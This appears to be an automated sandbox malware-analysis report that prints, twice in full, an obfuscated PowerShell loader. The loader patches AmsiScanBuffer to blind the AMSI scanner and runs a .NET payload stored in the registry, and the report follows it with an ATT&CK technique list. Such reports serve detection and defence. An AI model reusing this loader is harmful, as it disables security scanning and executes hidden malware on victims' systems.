cmd.exe /c "powershell.exe -Command ""function Local:aRdxMspQjbUR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uYuiZhEVwIMAJi,[Parameter(Position=1)][Type]$UmclVnfAza)$jukNsGaLzwV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+''+'e'+'d'+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+'yMo'+[Char](100)+''+[Char](117)+'le',$False).DefineType(''+[Char](77)+'y'+'D'+'el'+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+'yp'+'e'+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+',P'+'u'+'b'+'l'+''+'i'+''+'c'+','+[Char](83)+'e'+'a'+''+'l'+'e'+[Char](100)+''+[Char](44)+'An'+[Char](115)+''+'i'+''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'Cl'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$jukNsGaLzwV.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+'e'+''+'c'+''+'i'+'a'+[Char](108)+''+'N'+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+'Hid'+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+',P'+'u'+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$uYuiZhEVwIMAJi).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'i'+'m'+''+'e'+''+','+'M'+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$jukNsGaLzwV.DefineMethod('I'+[Char](110)+''+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+'id'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'N'+'e'+[Char](119)+'Slo'+[Char](116)+''+','+''+'V'+''+'i'+'r'+[Char](116)+'ua'+[Char](108)+'',$UmclVnfAza,$uYuiZhEVwIMAJi).SetImplementationFlags('R'+'u'+''+'n'+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $jukNsGaLzwV.CreateType();}$zLlOAMZJtBGjf=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+'t'+'em'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+'f'+''+[Char](116)+'.W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+'i'+'v'+'e'+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$UamfdUCCPkLNGg=$zLlOAMZJtBGjf.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$endHfsdxjMdGFtxDEOC=aRdxMspQjbUR @([String])([IntPtr]);$IJIupsGYHJwhxTDFdzJGvA=aRdxMspQjbUR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rsOQoBbXosI=$zLlOAMZJtBGjf.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'Mo'+'d'+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+'2'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')));$xQHpYujjBzWGUM=$UamfdUCCPkLNGg.Invoke($Null,@([Object]$rsOQoBbXosI,[Object](''+[Char](76)+'oa'+'d'+''+[Char](76)+'i'+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+'A')));$tJsWjkpBHhBDWPzbg=$UamfdUCCPkLNGg.Invoke($Null,@([Object]$rsOQoBbXosI,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+'o'+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$StUQAey=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xQHpYujjBzWGUM,$endHfsdxjMdGFtxDEOC).Invoke('am'+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+'l'+'');$ijczFXCiSwCDAmIHq=$UamfdUCCPkLNGg.Invoke($Null,@([Object]$StUQAey,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+'a'+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+'r'+'')));$VkNQPmHdoA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tJsWjkpBHhBDWPzbg,$IJIupsGYHJwhxTDFdzJGvA).Invoke($ijczFXCiSwCDAmIHq,[uint32]8,4,[ref]$VkNQPmHdoA);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](240-109),[Byte](202-10),[Byte](169-169),[Byte](124+60),[Byte](228-141),[Byte](37-37),[Byte](175-168),[Byte](17+111),[Byte](191-60),[Byte](180+55),[Byte](107-107),[Byte](9+186),[Byte](241-104),[Byte](13+188)),0,$ijczFXCiSwCDAmIHq,169-155);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tJsWjkpBHhBDWPzbg,$IJIupsGYHJwhxTDFdzJGvA).Invoke($ijczFXCiSwCDAmIHq,[uint32]8,0x20,[ref]$VkNQPmHdoA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](83)+'Hs'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:aRdxMspQjbUR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uYuiZhEVwIMAJi,[Parameter(Position=1)][Type]$UmclVnfAza)$jukNsGaLzwV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+'c'+''+[Char](116)+''+'e'+'d'+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+'o'+''+[Char](114)+'yMo'+[Char](100)+''+[Char](117)+'le',$False).DefineType(''+[Char](77)+'y'+'D'+'el'+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+'yp'+'e'+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+',P'+'u'+'b'+'l'+''+'i'+''+'c'+','+[Char](83)+'e'+'a'+''+'l'+'e'+[Char](100)+''+[Char](44)+'An'+[Char](115)+''+'i'+''+[Char](67)+'l'+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+'Cl'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$jukNsGaLzwV.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+'e'+''+'c'+''+'i'+'a'+[Char](108)+''+'N'+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+'Hid'+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+',P'+'u'+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$uYuiZhEVwIMAJi).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+'i'+'m'+''+'e'+''+','+'M'+[Char](97)+''+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$jukNsGaLzwV.DefineMethod('I'+[Char](110)+''+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+'id'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'N'+'e'+[Char](119)+'Slo'+[Char](116)+''+','+''+'V'+''+'i'+'r'+[Char](116)+'ua'+[Char](108)+'',$UmclVnfAza,$uYuiZhEVwIMAJi).SetImplementationFlags('R'+'u'+''+'n'+'t'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $jukNsGaLzwV.CreateType();}$zLlOAMZJtBGjf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+'t'+'em'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+'f'+''+[Char](116)+'.W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+'.'+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+'i'+'v'+'e'+[Char](77)+'e'+'t'+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$UamfdUCCPkLNGg=$zLlOAMZJtBGjf.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+'A'+''+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+'S'+''+[Char](116)+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$endHfsdxjMdGFtxDEOC=aRdxMspQjbUR @([String])([IntPtr]);$IJIupsGYHJwhxTDFdzJGvA=aRdxMspQjbUR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rsOQoBbXosI=$zLlOAMZJtBGjf.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'Mo'+'d'+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+'2'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')));$xQHpYujjBzWGUM=$UamfdUCCPkLNGg.Invoke($Null,@([Object]$rsOQoBbXosI,[Object](''+[Char](76)+'oa'+'d'+''+[Char](76)+'i'+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+'A')));$tJsWjkpBHhBDWPzbg=$UamfdUCCPkLNGg.Invoke($Null,@([Object]$rsOQoBbXosI,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+'o'+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$StUQAey=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xQHpYujjBzWGUM,$endHfsdxjMdGFtxDEOC).Invoke('am'+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+'l'+'');$ijczFXCiSwCDAmIHq=$UamfdUCCPkLNGg.Invoke($Null,@([Object]$StUQAey,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+'a'+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+'r'+'')));$VkNQPmHdoA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tJsWjkpBHhBDWPzbg,$IJIupsGYHJwhxTDFdzJGvA).Invoke($ijczFXCiSwCDAmIHq,[uint32]8,4,[ref]$VkNQPmHdoA);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](240-109),[Byte](202-10),[Byte](169-169),[Byte](124+60),[Byte](228-141),[Byte](37-37),[Byte](175-168),[Byte](17+111),[Byte](191-60),[Byte](180+55),[Byte](107-107),[Byte](9+186),[Byte](241-104),[Byte](13+188)),0,$ijczFXCiSwCDAmIHq,169-155);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tJsWjkpBHhBDWPzbg,$IJIupsGYHJwhxTDFdzJGvA).Invoke($ijczFXCiSwCDAmIHq,[uint32]8,0x20,[ref]$VkNQPmHdoA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](83)+'Hs'+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4184

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3664

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:540

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:3712

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:1748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion